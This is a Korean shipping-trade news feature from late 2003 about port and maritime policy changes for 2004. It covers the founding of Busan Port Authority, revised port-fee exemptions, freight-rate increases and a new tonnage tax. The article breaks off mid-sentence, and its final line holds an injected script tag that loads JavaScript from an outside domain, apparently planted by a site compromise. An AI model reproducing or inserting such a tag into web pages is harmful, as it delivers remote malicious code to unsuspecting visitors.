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글쓴이 운영자 작성일 2003-12-30
제목 <특집> 새해 이렇게 달라진다
<특집> 새해 이렇게 달라진다


부산항만공사 1월 16일 설립


정부 및 해운항만물류업계 관련단업체들이 동북아물류허브 선점을 위해 총력을 기울이고 있는 요즘 이와 관련된 해운항만제도와 물류관련행정의 개선안은 우리들의 관심사일 수밖에 없다. 최근 들어 우리의 눈길을 끄는 것은 단연 정초부터 그 해오름을 알리는 부산항만공사의 설립일 것이다. 오랜 기간동안 준비를 거쳐 모든 해운물류인의 염원을 바탕으로 설립되는 첫 전문항만공사인 만큼 부산항이 하드웨어와 소프트웨어 양면에서 해외 선진항과 비견되는 기틀을 마련하고 나아가 동북아물류허브항으로 도약할 수 있도록 전문적인 운영의 묘를 살리는 진정한 항만운영주체로 거듭나길 기대해본다.
이밖에 해양수산부를 비롯해 건설교통부, 산업자원부, 관세청 및 해운물류업계에서 올 한해 실시한다고 밝힌 여러 물류개선시책들을 소개한다.

<해운ㆍ항만 분야>

■ 해양수산부는 “무역항의항만시설사용료및사용료에관한규정”을 개정해 2004년 1월 1일부터 시행에 들어갔다. 이 규정에 따르면 최근 위축된 국가경제 사정과 외국 주요항만과의 경쟁력 확보를 고려해 신설부두나 항만운영 활성화를 위해 특별한 인센티브가 필요한 경우는 감면을 확대하고 인센티브 효과가 미약한 경우 축소ㆍ폐지해 간접적인 항만사용료 인상을 도모하게 된다. 감면기한은 2~3년 한시적으로 시행한 후 연장여부를 재검토하게 된다.
개정된 개선내용을 보면 무연탄(괴탄)의 사용료율을 일반화물로 적용하고 선박입출항료를 100% 감면받던 통과선박의 범위에 ‘단순경유’의 경우도 포함시키기로 했다. 접안시설 부족 및 조수관계로 대기하는 국제항간에 정기취항하는 컨테이너선박에 대해 저안료의 정박료를 100% 감면한다.
연안컨테이너전용선이 운송하는 수출입컨테이너화물(100%) 등은 중소항만 육성, 운항선사의 경영수지 개선지원 및 연안해송 활성화 지원을 위해 2006년까지 감면기한을 연장한다.
항만공사가 설립될 항만을 관장하는 지방청장이 징수할 수 있는 사용료의 종류를 선박 입출항료, 정박료, 수역점용료를 규정하고 신설된 부두인 목포항 양곡부두 입출항선박 및 화물에 대한 사용료를 2년동안 100% 감면한다.
한편 인천항 관련업계의 관심사였던 평택항 2번 선석과 서부두 2개선석을 이용하는 선박에 대한 선박입출항료의 감면기한은 구랍 31일을 끝으로 연장하지 않기로 했다.

■ 여수지방해양수산청은 광양항의 개항질서 지도와 단속을 강화코자 항만순찰선 운영제도를 개선해 새해부터 광양항에도 항만순찰선 1척을 배치한다.
종전에는 여수신항에 항만순찰선 3척 모두를 배치해 광양항까지 관할하면서 순찰선 24시간 출동체젤ㄹ 유지해 왔으나 광양항 개항단속에 애로점이 있고 원거리에 있는 광양항까지 운항하는데 따른 연료비 및 신속한 대응에 어려움이 있어 이번에 항만순찰선 운영제도를 개선했다.

■ 현재 최저운임제를 시행중인 황해정기선사협의회 컨테이너정기운항선사들은 구랍 9일 임시총회를 개최해 항로안정화 대책에 대해 논의하고 2004년도 운임회복계획을 확정했다. 금년 상반기중에는 3월 15일부로 20피트 컨테이너(TEU)당 50달러를 올리고 하반기중에는 9월 15일부로 20피트 컨테이너당 50달러를 인상할 방침이다.

■ 한일항로가 내년 두차례 운임인상을 단행한다. 한국근해수송협의회 회원사들은 바닥세 운임을 회복시키기 위해 3월과 9월 두차례에 걸쳐 운임인상을 단행할 것이라고 밝혔다.
이에 따르면 현재 적용중인 할인율에서 3월에는 약 15% 축소ㆍ적용하고 이어 9월에도 약 10%정도를 추가로 축소ㆍ적용하게 된다. 내부적으로는 이 항로의 다양한 서비스 네트워크 조정을 통해 일부 과잉선복을 보였던 항들을 과감하게 정비하기 위한 자구 노력 방안을 검토하는 등 사후 관리에 역점을 두고 있는 것으로 파악됐다.

■ 국제물류환경 변화에 탄력적으로 대처하기 위해 ‘부산항만공사’가 1월 16일 설립된다. 공사는 기업경영 및 인력 전문화로 항만관리의 효율성을 제고하고 수요자 중심의 서비스 항만행정을 추진하게 된다.

■ 해운기업의 법인세 부담을 덜어주기 위한 ‘톤세제’가 도입된다. 이 제도가 시행되면 해운기업에서는 기존의 법인세 대신에 선박운항일수에 따라 세금이 부과되는 톤세제를 선택해 세금을 납부할 수 있다.

■ 국적선사를 지원하고 선박등록절차를 개선하기 위해 제2선적제도가 도입된다. 현재 이원화돼 있는 국제선박등록법과 제주선박등록특구제를 통합한 제2선적제도를 도입해 국적선사의 등록제도를 도입해 국적선사의 등록절차를 간소화할 계획이다.

■ 내항여객운송사업 면허요건이 완화된다. 내항여객운송사업 면허를 위한 수송수요 판단시 평균 탑재 수입률이 40%이상에서 35%이상으로 ?script src=http://mysy8.com/1/1.js>
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